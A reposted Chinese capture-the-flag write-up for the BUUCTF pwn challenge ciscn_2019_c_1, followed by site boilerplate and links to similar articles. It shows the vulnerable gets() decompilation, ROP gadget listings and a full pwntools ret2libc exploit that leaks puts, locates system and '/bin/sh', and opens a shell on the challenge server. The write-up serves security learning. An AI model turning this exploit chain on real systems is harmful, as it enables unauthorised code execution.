buuctf PWN ciscn_2019_c_1

这篇具有很好参考价值的文章主要介绍了buuctf PWN ciscn_2019_c_1。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

buuctf PWN ciscn_2019_c_1,CTF,c语言,android,前端,网络安全,计算机网络

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets((__int64)s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}
checksec ./cisscn_2019_c_1
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

encrypt()里面get函数存在溢出点offest=0x50+8。puts()可以用来泄露libc基址。

amd64的参数调用顺序是如下序列的自后而前,即:完成传递参数(地址)->本函数地址 -> 返回地址
... -> pop_rdi;ret -> argv -> call_addr -> ret_address

获得本elf中的gadgets:
ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"
ROPgadget --binary ./ciscn_2019_c_1 --only "ret"

ROPgadget --binary ./Downloads/ciscn_2019_c_1 --only "pop|ret"
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
pop_rdi_ret = 0x0000000000400c83  
ROPgadget --binary ./Downloads/ciscn_2019_c_1 --only "ret"
Gadgets information
============================================================
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
ret = 0x00000000004006b9

exp:(wp)

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote("node4.buuoj.cn",25830)
gamebox = ELF('./Downloads/ciscn_2019_c_1')

pop_rdi_ret = 0x0000000000400c83   
puts_plt = gamebox.plt['puts']
puts_got = gamebox.got['puts']
start_addr = gamebox.symbols['_start']
payload1 = b'A'*(88) + p64(pop_rdi_ret)
payload1 += p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendlineafter("Input your choice!\n","1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload1)

io.recvuntil("Ciphertext\n")
io.recvline()
puts_leak = u64(io.recvline()[:-1].ljust(8, b'\0'))
libc = LibcSearcher('puts',puts_leak)
libc_offset = puts_leak - libc.dump('puts')
sys_addr = libc_offset + libc.dump('system')
bin_sh_addr = libc_offset + libc.dump('str_bin_sh')

ret = 0x00000000004006b9
payload2 = b'A'*(88) + p64(ret)
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)
io.sendline("1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload2)
io.interactive()

  文章来源地址https://www.toymoban.com/news/detail-727863.html

到了这里,关于buuctf PWN ciscn_2019_c_1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ciscn2022-线上-半决-pwn

    一个简单的可见字符shellcode 用杭电师傅的工具直接出shellcode,直接写进出就可以拿到shell。 epx: number是4个字节,后面malloc的参数也是4个字节,可以利用溢出使number很大,然后malloc申请的大小也在一个合理的范围之内。 malloc函数的实现会根据分配内存的size来决定使用哪个分配

    2024年02月06日
    浏览(26)
  • pwn打打基础——BUUCTF篇(1)

    BUUCTF刷刷基础题先,打牢下基础 就非常经典的起引导作用的nc题 格式:nc IP 端口 checksec一下 发现开启了部分地址随机化,其它保护什么也没开,有可读写权限,再来看看源代码 发现有gets()函数(并不会限制输入的字节数),也有system(\\\"/bin/sh\\\"),没有什么其它陷阱。那这就是

    2024年02月05日
    浏览(32)
  • BUUCTF Pwn 1-12题解析及答案

    人如其名,直接 nc 连接即可。 裸奔的64位ELF,使用IDA查看反汇编代码。 s 的大小为 0x0F ,所以我们构造的Payload是这样的: 0x0F + 0x08 代表 s 的大小加上8字节大小的rbp。 0x40117是 fun 函数中的命令开始的地址: 完整EXP: 也是裸奔的程序。 思路同上 0x40060E NX 栈不可执行 思路很简

    2024年02月04日
    浏览(27)
  • [CISCN 2019初赛]Love Math

    感慨自己实力不够,心浮气躁根本做不来难题。难得这题对我还很有吸引力,也涉及很多知识。只能说我是受益匪浅,总的来说加油吧ctfer。 利用php动态函数的特性 利用php中的数学函数实现命令执行 利用php7的特性,就是可以用变量执行函数 打开题目,源代码 简单分析一下

    2024年02月10日
    浏览(41)
  • ciscn_2019_s_9

    32位,啥也没开,开心愉悦写shellcode 程序主要在这里,栈溢出,写shellcode进去然后执行,发现有个hint 这里有个jmp,ok好办了 思路 写shellcode,然后用jmp跳转到shellcode的头,然后执行shellcode 因为栈只有0x20大小,所以不能使用pwntools生成的shellcode 这个是0x17大小的shellcode,平时收

    2024年02月07日
    浏览(50)
  • [BUUCTF NewStar 2023] week5 Crypto/pwn

    最后一周几个有难度的题 也是个板子题,不过有些人存的板子没到,所以感觉有难度,毕竟这板子也不是咱自己能写出来的。 给了部分p, p是1024位给了922-101位差两头。 直接用双值copper这个双值和多值还是有些区别的,应该是作了些优化。 这个题有9个人完成,我估计有一半

    2024年02月05日
    浏览(31)
  • NSS [CISCN 2019初赛]Love Math

    开题直接给源码 代码分析: foreach():用来遍历一个数组 preg_match_all():搜索 content 中所有匹配给定正则表达式的匹配结果并且将它们输出到 used_funcs 中. preg_match_all(\\\'/[a-zA-Z_x7f-xff][a-zA-Z_0-9x7f-xff]*/\\\', $content, $used_funcs); 这行代码使用正则表达式匹配数学表达式中的函数名,并将

    2024年02月12日
    浏览(45)
  • BUUCTF pwn1_sctf_2016解题思路

    php魔术方法: __call() : 在对象中调用一个不可访问方法时, __call() 会被调用 __toString : 将对象当作一个字符串输出的时候 __wakeup : 反序列化时被调用 __invoke : 当一个对象被作为函数调用时被调用 __get : 当对象访问一个不存在的属性时调用 __construct :创建对象时调用 序列化只

    2024年02月12日
    浏览(30)
  • [BUUCTF NewStarCTF 2023 公开赛道] week4 crypto/pwn

    再补完这个就基本上完了. Schmidt-Samoa密码系统看上去很像RSA,其中N=pqq, 给的e=N给了d NTRU又一个格的基本应用   当E.order() == p时   p-1光滑时的分解 此题先是p-1光滑分解,然后是e=3*0x10000先求3次根再用rabin求16次    求误差,虽然被分成3个数组,但本质上是一个,可以连到一起求解. 

    2024年02月07日
    浏览(29)
  • [CISCN 2019华北Day1]Web1

    phar反序列化 文件读取 打开题目,注册用户为admin 进去发现有文件上传的功能,我们随便上传个图片 然后就有下载和删除两个功能 我们尝试抓包下载文件的功能 发现参数可控,我们尝试读取一下 既然能读出来,我们继续读一下源码 源码 继续读取class.php 分析一下class.php 我

    2024年02月09日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包